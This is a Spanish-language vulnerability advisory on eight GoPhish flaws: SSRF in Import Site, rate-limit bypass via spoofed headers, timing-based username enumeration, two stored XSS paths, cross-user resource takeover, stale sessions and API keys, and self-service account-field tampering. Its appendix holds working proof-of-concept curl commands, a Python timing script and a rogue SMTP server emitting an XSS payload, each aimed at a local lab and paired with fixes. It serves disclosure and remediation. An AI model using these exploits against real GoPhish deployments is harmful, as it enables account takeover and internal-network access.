Escenario ilustrativo: la función de clonación se convierte en un cliente de la red interna. Un operador utiliza Import Site para acelerar la creación de una página de destino. La función recibe una URL, crea un cliente HTTP con el dialer restringido, recupera la página y devuelve el HTML al llamador autenticado. En una instalación predeterminada, el dialer bloquea las direcciones de enlace local de metadatos de la nube pero no aplica la política más amplia de direcciones privadas. Si el entorno de ejecución puede enrutar hacia un servicio interno, la función puede hacer que el servidor de GoPhish, y no el navegador del operador, se comunique con ese servicio. Esta es exactamente la categoría de riesgo que los controles contra SSRF están diseñados para evitar.

Evidencia depurada de Agentic Deep Scan que muestra la función Import Site alcanzando destinos de prueba locales sintéticos.
Evidencia depurada de Import Site de Agentic Deep Scan

Figura 6: evidencia depurada de Agentic Deep Scan para la ruta de Import Site. Las credenciales, los detalles del host y los valores de respuesta se han sustituido por valores de prueba locales sintéticos.

El escenario no presupone que un servicio interno concreto sea accesible ni que una respuesta sea útil. Explica por qué la aplicación debe tomar la decisión de seguridad antes de que intervenga la topología de red: la conectividad en tiempo de ejecución cambia con el tiempo, y una política de URL segura no puede depender de la ausencia actual de un objetivo atractivo.

Prioridad de ingeniería: convertir la lista completa de rangos no públicos en la política de denegación predeterminada y usar después una lista de permitidos explícita para la clonación interna legítima. Decidir y documentar si se admite IPv6 público: la lista allInternal revisada contiene ::/0, que bloquea todo IPv6 y no solo los rangos IPv6 locales. Validar los esquemas, conservar la política de destino en cada redirección y conexión, devolver fallos de obtención genéricos, restablecer la verificación de certificados TLS y limitar el tráfico de salida del entorno de ejecución de GoPhish en la capa de red.

Prueba de regresión que conviene mantener: ejecutar la ruta de importación con hosts de prueba representativos públicos, de loopback, RFC1918, de enlace local, IPv6 locales, con redirección y de DNS rebinding. La configuración predeterminada, y no solo la configuración con lista de permitidos activada, debe denegar todos los destinos no públicos.

Apéndice de validación local: PoC y corrección

Los procedimientos siguientes reproducen el comportamiento validado en un laboratorio aislado que ejecuta la última versión de GoPhish. Utilizan intencionadamente 127.0.0.1, cuentas sintéticas, un payload alert() inofensivo y servicios SMTP y HTTP exclusivos para pruebas. No sustituya ni el host ni las identidades de ejemplo por sistemas, datos o cuentas ajenos a un entorno autorizado.

Configuración compartida del laboratorio

Ejecute GoPhish con la configuración predeterminada suministrada, que escucha en https://127.0.0.1:3333. Cree dos usuarios de API ordinarios, lab-owner y lab-user, y registre sus claves de API como OWNER_KEY y USER_KEY. Los ejemplos siguientes utilizan estas variables de shell:

export GOPHISH_URL='https://127.0.0.1:3333'
export OWNER_KEY='replace-with-lab-owner-key'
export USER_KEY='replace-with-lab-user-key'

El certificado de desarrollo está autofirmado, por lo que los comandos locales utilizan -k. No traslade esa configuración de TLS a un flujo de trabajo de producción.

1. Omisión del límite de solicitudes mediante falsificación de la dirección reenviada

En primer lugar, realice seis intentos de inicio de sesión no válidos con una sola sesión y sin cabeceras de reenvío. La sexta solicitud queda limitada en la configuración local de acceso directo:

curl -ksc cookies.txt "$GOPHISH_URL/login" -o login.html
CSRF_TOKEN=$(sed -n 's/.*name="csrf_token" value="\([^"]*\)".*/\1/p' login.html | head -n 1)

for n in 1 2 3 4 5 6; do
  curl -ks -o /dev/null -w "attempt $n: %{http_code}\n" \
    -b cookies.txt -c cookies.txt \
    -H "Origin: $GOPHISH_URL" \
    -H "Referer: $GOPHISH_URL/login" \
    --data-urlencode 'username=does-not-exist' \
    --data-urlencode 'password=not-the-password' \
    --data-urlencode "csrf_token=$CSRF_TOKEN" \
    "$GOPHISH_URL/login"
done

Repita los seis intentos en el laboratorio aislado cambiando la dirección reenviada. El comportamiento vulnerable esperado es que cada respuesta siga siendo una respuesta de inicio de sesión no válido en lugar de convertirse en 429:

for n in 1 2 3 4 5 6; do
  curl -ks -o /dev/null -w "attempt $n: %{http_code}\n" \
    -b cookies.txt -c cookies.txt \
    -H "Origin: $GOPHISH_URL" \
    -H "Referer: $GOPHISH_URL/login" \
    -H "X-Forwarded-For: 198.51.100.$n" \
    -H "X-Real-IP: 198.51.100.$n" \
    --data-urlencode 'username=does-not-exist' \
    --data-urlencode 'password=not-the-password' \
    --data-urlencode "csrf_token=$CSRF_TOKEN" \
    "$GOPHISH_URL/login"
done

Corrección. Elimine en el perímetro las cabeceras de reenvío proporcionadas por el cliente, vincule el listener de administración a una interfaz privada siempre que sea posible y aplique la normalización de las cabeceras de proxy solo después de verificar que el par TCP es un proxy inverso configurado explícitamente. Aplique un límite de solicitudes independiente en el perímetro como segundo control. La prueba de regresión debe ejercitar tanto la ruta de proxy prevista como un intento de ruta directa.

2. Enumeración de nombres de usuario mediante trabajo de autenticación asimétrico

La comprobación local compara un usuario de prueba conocido con un nombre desconocido sintético. Ejecute varias muestras desde el mismo entorno de baja latencia y compare después las medianas, en lugar de tratar una única respuesta como prueba:

# timing_poc.py -- run only against the local lab
import html
import itertools
import statistics
import time
import requests

BASE = "https://127.0.0.1:3333/login"
SAMPLES = 20
USERS = ["lab-owner", "not-a-real-user"]
ip_suffixes = itertools.count(10)

def csrf(session):
    response = session.get(BASE, verify=False, timeout=10)
    marker = 'name="csrf_token" value="'
    start = response.text.index(marker) + len(marker)
    end = response.text.index('"', start)
    return html.unescape(response.text[start:end])

def measure(username):
    values = []
    for _ in range(SAMPLES):
        session = requests.Session()
        spoofed_ip = f"198.51.100.{next(ip_suffixes)}"
        token = csrf(session)
        started = time.perf_counter()
        response = session.post(
            BASE,
            data={
                "username": username,
                "password": "not-the-password",
                "csrf_token": token,
            },
            headers={
                "Origin": "https://127.0.0.1:3333",
                "Referer": BASE,
                "X-Forwarded-For": spoofed_ip,
                "X-Real-IP": spoofed_ip,
            },
            verify=False,
            timeout=10,
        )
        assert response.status_code == 401
        values.append(time.perf_counter() - started)
    return statistics.median(values), values

for user in USERS:
    median, values = measure(user)
    print(f"{user:16} median={median:.4f}s samples={values}")

En el entorno de validación, la rama del usuario conocido ocupó de forma constante el grupo más lento porque llegaba a la validación del hash de la contraseña, mientras que la rama del usuario desconocido terminaba tras la búsqueda en la base de datos. Trate como no concluyente un resultado de temporización obtenido a través de Internet, salvo que mediciones repetidas tengan en cuenta el ruido de la red.

Corrección. Ejecute siempre una comparación de hash de contraseña, también para los usuarios desconocidos, utilizando un hash bcrypt ficticio fijo. Utilice después un suelo de respuesta común medido desde el inicio del manejador de inicio de sesión, de modo que las diferencias de búsqueda y de renderizado no creen un oráculo fiable. Mantenga idénticos los mensajes, los códigos de estado, las redirecciones y el comportamiento del límite de solicitudes. Un benchmark de regresión debe verificar que la comparación de hash se alcanza en ambas ramas y emitir una alerta si las distribuciones llegan a ser separables de forma significativa.

3. XSS almacenado a partir de campos de destinatarios importados

Cree un grupo sintético a través de la API local con un payload HTML inofensivo. La respuesta demuestra que el valor se acepta como dato del destinatario:

curl -ksS -X POST "$GOPHISH_URL/api/groups/" \
  -H "Authorization: Bearer $OWNER_KEY" \
  -H 'Content-Type: application/json' \
  --data '{
    "name": "lab-csv-template-xss",
    "targets": [{
      "email": "recipient@example.test",
      "first_name": "<img src=x onerror=alert(\"recipient-field\")>",
      "last_name": "Lab",
      "position": "Test"
    }]
  }'

En la interfaz, el procedimiento equivalente consiste en importar de forma masiva el mismo valor en First Name, crear una página de destino que contenga {{.FirstName}}, crear una campaña con ese grupo y esa página y abrir el enlace generado en un perfil de navegador local desechable. El resultado vulnerable esperado es un cuadro de diálogo alert("recipient-field") en el origen de la página de destino de phishing. No es un contexto de ejecución del panel de administración.

Corrección. Convierta el contexto de salida en el control principal: renderice el HTML de las páginas de destino con html/template, utilice un renderizador independiente para el texto plano, valide los valores utilizados en URL y cabeceras y marque como HTML de confianza únicamente los fragmentos generados por el sistema. La función de plantilla compartida no puede cambiarse a ciegas porque también procesa cuerpos de correo, URL, cabeceras y archivos adjuntos. Analizar o normalizar la entrada CSV puede aportar defensa en profundidad, pero no debe sustituir a la codificación sensible al contexto en el sink. Pruebe cada campo de destinatario admitido en texto HTML, atributos, URL y ubicaciones sensibles para JavaScript.

4. XSS almacenado y reflejado por errores SMTP

Este listener SMTP local devuelve un payload de prueba inocuo en RCPT TO:

# rogue_smtp.py -- local validation only
import socket

HOST, PORT = "127.0.0.1", 2525
PAYLOAD = b"554 <img src=x onerror=alert('smtp-error')>\r\n"

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server:
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    server.bind((HOST, PORT))
    server.listen(1)
    connection, _ = server.accept()
    with connection:
        connection.sendall(b"220 local test SMTP\r\n")
        while (data := connection.recv(1024)):
            command = data.decode("utf-8", errors="ignore").strip().upper()
            if command.startswith(("EHLO", "HELO")):
                connection.sendall(b"250 local test\r\n")
            elif command.startswith("MAIL FROM"):
                connection.sendall(b"250 OK\r\n")
            elif command.startswith("RCPT TO"):
                connection.sendall(PAYLOAD)
                break
            else:
                connection.sendall(b"250 OK\r\n")

Inicie el listener, configure un Sending Profile exclusivamente local para 127.0.0.1:2525 y realice después ambas validaciones:

  1. Lance una campaña de prueba, abra sus resultados, expanda un destinatario fallido e inspeccione el evento Error Sending Email. La ruta almacenada renderiza el error SMTP en la línea de tiempo de la campaña.
  2. En Campaigns → New Campaign, seleccione el mismo perfil y utilice Send Test Email. La ruta reflejada renderiza en el modal el error SMTP devuelto.

La interfaz de correo de prueba de Sending Profiles es un buen control negativo: ya aplica escapeHtml() y debería mostrar el payload como texto en lugar de ejecutarlo.

Corrección. Trate todos los errores SMTP como texto. Utilice textContent, el método .text() de jQuery o una función de escape aplicada de forma coherente en cada sink del DOM; no concatene nunca el texto de error del protocolo en HTML. Aplique la misma regla a los manejadores de errores de lanzamiento, copia y correo de prueba de las campañas. Escapar antes de la persistencia aporta defensa en profundidad, pero no sustituye a un renderizado seguro. Elimine las credenciales de API de larga duración de las variables globales del navegador y use pruebas a nivel de navegador para comprobar que un error SMTP con apariencia de marcado se convierte en un único nodo de texto y no crea ningún elemento ejecutable.

5. Apropiación entre usuarios mediante upsert en el endpoint de creación

Cree un grupo como lab-owner, guarde el id numérico devuelto como GROUP_ID y envíe después una solicitud de creación como lab-user que lleve ese identificador:

GROUP_ID=6 # replace with the id of a synthetic lab-owner group

curl -ksS -X POST "$GOPHISH_URL/api/groups/" \
  -H "Authorization: Bearer $USER_KEY" \
  -H 'Content-Type: application/json' \
  --data "{
    \"id\": $GROUP_ID,
    \"name\": \"lab-taken-over-group\",
    \"targets\": []
  }"

curl -ksS "$GOPHISH_URL/api/groups/$GROUP_ID" \
  -H "Authorization: Bearer $OWNER_KEY"

El resultado vulnerable es una respuesta de creación correcta para lab-user y un 404 para el antiguo propietario. Repita la misma prueba con dos usuarios para POST /api/templates/, POST /api/pages/ y POST /api/smtp/, utilizando cuerpos sintéticos válidos para cada recurso. En el caso de los grupos, verifique además que los objetivos sintéticos asociados previamente siguen siendo legibles después del cambio de propiedad.

Corrección. Haga estructuralmente distintas las operaciones de creación y de actualización. Rechace los ID proporcionados por el cliente en cada manejador POST y utilice una semántica de inserción explícita (db.Create) en la capa del modelo. Mantenga los predicados acotados por propietario en las lecturas, actualizaciones y eliminaciones; una comprobación de propietario solo en GET no protege una escritura sin acotar. La batería de pruebas de regresión debe cubrir cada recurso afectado con dos usuarios y comprobar que un POST que contenga el ID de otro usuario no cambia ni el propietario, ni el contenido, ni las asociaciones.

6. Persistencia de la sesión y de la clave de API tras eventos de la cuenta

Utilice un navegador local o un proxy para guardar una cookie de sesión gophish válida. Después, valide los tres casos del ciclo de vida:

  1. Cierre sesión en el navegador, reenvíe la cookie anterior al cierre de sesión en una solicitud a / y observe que el panel sigue disponible en lugar de redirigir a /login.
  2. Guarde una cookie válida, cambie la contraseña de la cuenta desde Settings, reenvíe después la cookie anterior al cambio contra / y observe que sigue siendo aceptada.
  3. Registre la clave de API de la cuenta, cambie la contraseña desde Settings o mediante el flujo de restablecimiento forzado, y solicite un recurso inofensivo de la API con la clave antigua. La clave antigua sigue siendo aceptada porque el cambio de contraseña no la rota.

Por ejemplo, una cookie local guardada puede reenviarse con:

curl -ksS -i "$GOPHISH_URL/" \
  -H 'Cookie: gophish=replace-with-a-saved-lab-cookie'

Corrección. Sustituya el diseño sin estado basado solo en cookies por sesiones del lado del servidor o por una versión de sesión por usuario que se compruebe en cada solicitud. Revoque o rote las sesiones y las claves de API en el cierre de sesión, el restablecimiento de contraseña, el bloqueo de cuenta, el cambio de rol y la baja de usuarios. Aplique AccountLocked y PasswordChangeRequired tanto en el middleware de sesión como en el de claves de API. Borrar únicamente la cookie del navegador actual no puede revocar una cookie sin estado que haya sido copiada; reiniciar el servicio invalida las firmas de las cookies pero no rota las claves de API respaldadas por la base de datos.

7. Modificación de autoservicio de los campos de control de la cuenta

Como usuario local ordinario, llame al endpoint de autoactualización con el nombre de usuario y el rol actuales, pero borrando los campos de política administrativa:

curl -ksS -X PUT "$GOPHISH_URL/api/users/2" \
  -H "Authorization: Bearer $USER_KEY" \
  -H 'Content-Type: application/json' \
  --data '{
    "username": "lab-user",
    "role": "user",
    "password_change_required": false,
    "account_locked": false
  }'

Utilice el ID, el nombre de usuario y el rol del usuario sintético creado para el laboratorio. Haga primero que un administrador establezca ambos campos en true; después verifique la respuesta y el estado almacenado de la cuenta tras la autoactualización. El resultado vulnerable es que ambos indicadores pasan a false sin un permiso de nivel de sistema.

Corrección. Utilice tipos de solicitud distintos para los cambios de perfil de autoservicio y para la gestión administrativa de cuentas. Como mínimo, condicione ambas asignaciones a la misma comprobación de permiso hasSystem que ya se utiliza para los cambios de rol:

if hasSystem {
    existingUser.PasswordChangeRequired = ur.PasswordChangeRequired
    existingUser.AccountLocked = ur.AccountLocked
}

El mejor diseño a largo plazo omite por completo estos campos del tipo de solicitud de autoservicio. Añada pruebas negativas para cada campo de estado de cuenta, de política de credenciales y de rol, y verifique que los valores persistidos permanecen sin cambios.

8. Import Site alcanzando un destino privado por defecto

Ejecute un servidor HTTP desechable en la máquina local y pida después a la instancia local de GoPhish que lo importe:

python3 -m http.server 8080 --bind 127.0.0.1

curl -ksS -X POST "$GOPHISH_URL/api/import/site" \
  -H "Authorization: Bearer $USER_KEY" \
  -H 'Content-Type: application/json' \
  --data '{
    "url": "http://127.0.0.1:8080/",
    "include_resources": false
  }'

El comportamiento predeterminado vulnerable es una respuesta correcta cuyo campo html contiene la página del servidor local. El mismo laboratorio permite comparar un listener en una dirección RFC1918, el rango de metadatos de enlace local, las redirecciones y las direcciones IPv6. Lo importante no es un servicio interno concreto, sino que es el servidor, y no el navegador del llamador, quien realiza la conexión.

Corrección. Comience con la lista completa de denegación de rangos no públicos por defecto y trate los hosts internos configurados como excepciones de alcance reducido. Valide los esquemas http y https, devuelva un error de obtención genérico en lugar de los errores de conexión sin procesar, restablezca la verificación de certificados TLS y deshabilite las redirecciones o vuelva a aplicar la validación del destino en cada redirección. Restrinja Import Site a los usuarios con el permiso adecuado y aplique la política de tráfico saliente en la capa de red. Las pruebas deben cubrir hosts públicos, loopback, RFC1918, enlace local, multicast, reservados, IPv6, redirecciones y cambios de DNS entre conexiones.

Lista de comprobación de correcciones orientada a la implementación

Los ocho hallazgos comparten un pequeño conjunto de cambios de implementación duraderos:

Hallazgo Cambio de código y de configuración Evidencia de regresión necesaria
Límite de solicitudes Confiar en las cabeceras de reenvío solo desde los CIDR de proxy configurados; eliminarlas en el resto de casos; aplicar también el límite en el perímetro. Las cabeceras falsificadas no pueden crear nuevos contenedores a través del ingress previsto; el acceso administrativo directo no está disponible o las ignora.
Temporización Realizar una comparación con un hash ficticio fijo para los usuarios desconocidos y aplicar un suelo de respuesta común. Ambas rutas invocan bcrypt; las distribuciones del benchmark, el estado, el cuerpo y la redirección son equivalentes.
XSS de destinatarios Separar el renderizado de plantillas de HTML, texto, URL, cabeceras y archivos adjuntos según el contexto; autoescapar en HTML los datos de los destinatarios. Cada campo de destinatario se renderiza como texto en todos los contextos HTML; el marcado del tracker del sistema sigue funcionando únicamente mediante un tipo de confianza explícito.
XSS por SMTP Usar inserción en el DOM solo de texto para todos los errores de la API y de SMTP; eliminar las claves de API de las variables globales del navegador. Los errores SMTP simulados, almacenados y reflejados, no crean ningún elemento del DOM ni controlador de eventos.
Upsert de creación Rechazar los ID en los manejadores POST y usar Create para la creación; acotar todas las escrituras por propietario. Un segundo usuario no puede cambiar con un POST el propietario, el contenido ni las asociaciones de grupo de un objeto.
Ciclo de vida de las credenciales Usar sesiones del lado del servidor o con versión; revocar las sesiones y las claves de API en los eventos de seguridad; comprobar el estado de la cuenta en cada frontera. El cierre de sesión, el cambio de contraseña, el bloqueo, el restablecimiento, el cambio de rol y la baja de usuarios deniegan tanto las cookies antiguas como las claves de API antiguas.
Campos de la cuenta Usar DTO distintos para el autoservicio y la administración; permitir que solo los usuarios del sistema cambien los campos de política. Un usuario que no es del sistema no puede alterar el estado de bloqueo, el estado de cambio forzado ni el rol.
Import Site Denegar por defecto los destinos no públicos; minimizar las excepciones; validar esquemas, TLS, redirecciones y tráfico de salida. La configuración predeterminada rechaza todos los objetivos de prueba no públicos y no revela errores de red sin procesar.

Los hallazgos son más peligrosos juntos que por separado

Las revisiones de seguridad suelen presentar las vulnerabilidades como filas aisladas en una hoja de cálculo. Los entornos reales no se comportan así. El riesgo más significativo aquí es cómo una frontera débil puede aumentar el valor de otra:

  • Un administrador que investiga un fallo de entrega SMTP puede encontrarse con un sink de XSS en el navegador en la misma consola que expone potentes operaciones de campañas y de API.
  • Una credencial de API de larga duración tiene un impacto mayor cuando el estado de bloqueo de cuenta o de cambio de contraseña no restringe de forma coherente el middleware de la API.
  • La apropiación de recursos es más dañina en una plataforma que almacena listas de objetivos, páginas de destino y perfiles de correo como objetos operativos propiedad de los usuarios.
  • Una función de importación con restricciones de red débiles por defecto puede ser accesible para un usuario autenticado cuyos privilegios se esperaba que estuvieran limitados en otro lugar.

No son afirmaciones de una única cadena de explotación automática. Son la razón por la que la corrección debe coordinarse. Arreglar un renderizador y dejar ambiguo el ciclo de vida de las credenciales, o arreglar un endpoint POST y dejar intacto el patrón de persistencia, reduce los síntomas sin restablecer el modelo de confianza.

Un programa práctico de corrección

La forma más rápida de perder impulso después de una revisión en profundidad es crear ocho tickets sin criterios de aceptación compartidos. Las rutas de código analizadas sugieren un orden de trabajo más eficaz.

Fase Objetivo Resultado de ingeniería concreto Evidencia de finalización
Contener Eliminar el riesgo más directo entre usuarios y en el navegador del administrador Codificar todos los errores SMTP/API en los sinks del DOM; forzar que las operaciones de creación inserten; rechazar los ID propiedad del cliente en POST Las pruebas de navegador demuestran que los errores se renderizan como texto; las pruebas de persistencia con dos usuarios demuestran que no hay cambio de propiedad.
Reconciliar la identidad Dar un significado coherente al inicio de sesión, las sesiones, el estado de la cuenta y las claves de API Ruta de autenticación con hash ficticio; revocación con sesiones del lado del servidor o con versión de sesión; aplicación del estado de la cuenta en el middleware de la API; autorización a nivel de campo en la actualización de usuarios Las pruebas de cierre de sesión, restablecimiento, bloqueo y cambio de rol revocan o deniegan las credenciales tanto de la interfaz como de la API.
Endurecer el perímetro Garantizar que el comportamiento del despliegue y de la red saliente coincida con el diseño previsto Política de proxy de confianza en el perímetro; eliminación de la exposición administrativa directa; dialer de red con denegación por defecto; controles del tráfico de salida Las pruebas de integración cubren las cabeceras de reenvío, los rangos de IP privadas, las redirecciones y el comportamiento del DNS.
Evitar la reincidencia Convertir las lecciones en un control de desarrollo seguro Listas de permitidos de DTO, separación de creación y actualización, reglas de codificación de salida orientadas al sink, comprobaciones de revisión para los clientes salientes La CI rechaza los nuevos endpoints y renderizadores que eludan la política.

El objetivo no es rediseñar GoPhish de una sola vez. Es restablecer un pequeño número de invariantes que hagan más seguras por construcción las funcionalidades futuras: solo la infraestructura de confianza afirma la identidad del cliente; solo las rutas autorizadas alteran la propiedad; solo el texto llega a los sinks de texto; una cuenta deshabilitada lo está en todas partes; y las obtenciones del lado del servidor parten de la denegación, no de la autorización.

Conclusión: corregir las fronteras, no solo las líneas

El hilo común de estos hallazgos no es una única función peligrosa. Es una frontera que se dio por supuesta en lugar de aplicarse: una cabecera de proxy tratada como identidad, un error tratado como HTML, un ID tratado como intención de creación, una clave de portador tratada como estado de la cuenta y una opción de lista de permitidos utilizada para activar una política de denegación por defecto. Cada línea es pequeña. El riesgo real reside en la brecha entre lo que la aplicación asume y lo que un atacante puede controlar.

Para los responsables del mantenimiento, el orden práctico está claro: contener primero el XSS del panel de administración y la apropiación de recursos entre usuarios; después, hacer coherentes la autorización de la API y la revocación de credenciales; y, por último, endurecer los controles de inicio de sesión y de solicitudes salientes tanto en la capa de aplicación como en la de despliegue. Para los equipos de seguridad, esta evaluación muestra cómo el análisis del código fuente con Ostorlab Agentic Deep Scan puede producir un informe sobre el que los equipos de desarrollo pueden actuar.

Estado de los CVE

Este artículo no asocia ninguno de los ocho hallazgos con un CVE. Las solicitudes de identificadores CVE se encuentran actualmente en revisión. Si se asignan identificadores, las asignaciones confirmadas se comunicarán por separado; hasta entonces, los títulos de los hallazgos y los componentes afectados de la última versión de GoPhish indicados más arriba son las referencias de autoridad para esta evaluación.

Referencia de la evaluación: última actualización el 2026-07-22. La evaluación abarca la última versión de GoPhish con su configuración predeterminada suministrada; los lectores deben verificar que su despliegue coincide con esta versión antes de extrapolar los hallazgos.

Referencias